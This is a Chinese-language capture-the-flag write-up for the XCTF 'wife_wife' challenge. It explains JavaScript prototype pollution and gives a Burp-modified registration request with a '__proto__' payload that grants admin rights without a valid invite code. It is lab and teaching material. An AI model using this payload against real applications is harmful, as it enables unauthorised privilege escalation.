3 min read

攻防世界 XCTF - wife_wife writeup (zh-TW)

攻防世界  XCTF - wife_wife writeup (zh-TW)

題目資訊

解題過程

Step 1: 分析註冊邏輯

查看 register.html 源代碼:

function register(username, password, inviteCode, isAdmin){
    let user = {username, password, isAdmin}
    if(isAdmin){
        if(!inviteCode){
            alert('invite code required')
            return
        }
        user = {...user, inviteCode}
    }
    fetch('/register', {
        method: 'post',
        body: JSON.stringify(user)
    })
}

🔍 關鍵發現

  • 前端檢查 isAdmin=true 時必須有 inviteCode
  • 但這只是前端驗證,可以繞過!
  • 後端使用 Object.assign() 合併對象,存在原型鏈污染風險

Step 2: 理解 Prototype Pollution

原型鏈污染原理

// 正常情況
let user = {username: "test", password: "123"}
user.isAdmin  // undefined

// 污染原型鏈
let payload = {
    username: "test",
    password: "123", 
    "__proto__": {
        "isAdmin": true
    }
}
// 所有繼承自 Object 的對象都會獲得 isAdmin=true 屬性!

後端代碼推測:

let newUser = Object.assign({}, baseUser, user)  // 繼承被污染的原型

Step 3: 使用 Burp Suite 繞過

① 開啟 Burp Suite 代理

  1. 設置瀏覽器代理到 127.0.0.1:8080
  2. 開啟 Intercept: Proxy → Intercept is on

② 填寫註冊表單

訪問註冊頁面,填寫:

  • Username: admin1234
  • Password: 1234
  • ✅ 勾選 "is admin"
  • Invite Code: 1234(隨便填)

點擊 Sign up,Burp 會攔截請求

③ 修改攔截的請求(關鍵!)

原始請求

{"username":"admin1234","password":"1234","isAdmin":true,"inviteCode":"1234"}

修改為(原型鏈污染 payload):

{"username":"admin1234","password":"1234","__proto__":{"isAdmin":true},"inviteCode":"1234"}

重點變化

  • ❌ 刪除頂層的 "isAdmin":true
  • ✅ 加上 "__proto__":{"isAdmin":true}
  • inviteCode 可以是任意值

④ 放行並查看響應

點擊 Forward,成功響應:

{"msg":"user created successfully","err":false}

✅ 註冊成功!

Step 4: 登入並獲取 Flag

  1. 訪問 http://61.147.171.103:58883/login.html
  2. 登入剛才註冊的帳號:
    • Username: admin1234
    • Password: 1234
  3. 登入後看到頁面:
Username: admin1234
Flag: CatCTF{Redacted}
Wife: you have flag, so no wife

🎉 成功獲得 Flag!

學習重點

1. JavaScript 原型鏈污染

漏洞成因

// 危險操作:直接合併用戶輸入
let newUser = Object.assign({}, baseUser, userInput)

為什麼有效

  • JSON 解析時,__proto__ 被當作普通鍵名
  • Object.assign() 會複製 __proto__ 的屬性到原型鏈
  • 所有新創建的對象都繼承被污染的屬性

2. Content-Type 的重要性

為什麼 curl 失敗,Burp 成功?

工具 Content-Type 結果
curl application/json ❌ JSON 雙重解析錯誤
Burp text/plain;charset=UTF-8 ✅ 正確解析

後端可能對不同 Content-Type 有不同處理邏輯

經驗分享

這一題的重點在於,是否能繞過那個is_admin,所以只要確定繞過,登入即可查看flag,但筆者前面卡了很久處理curl的問題如下,

後來就索性直接用burp suite來解~所以適時轉換工具還是必要的。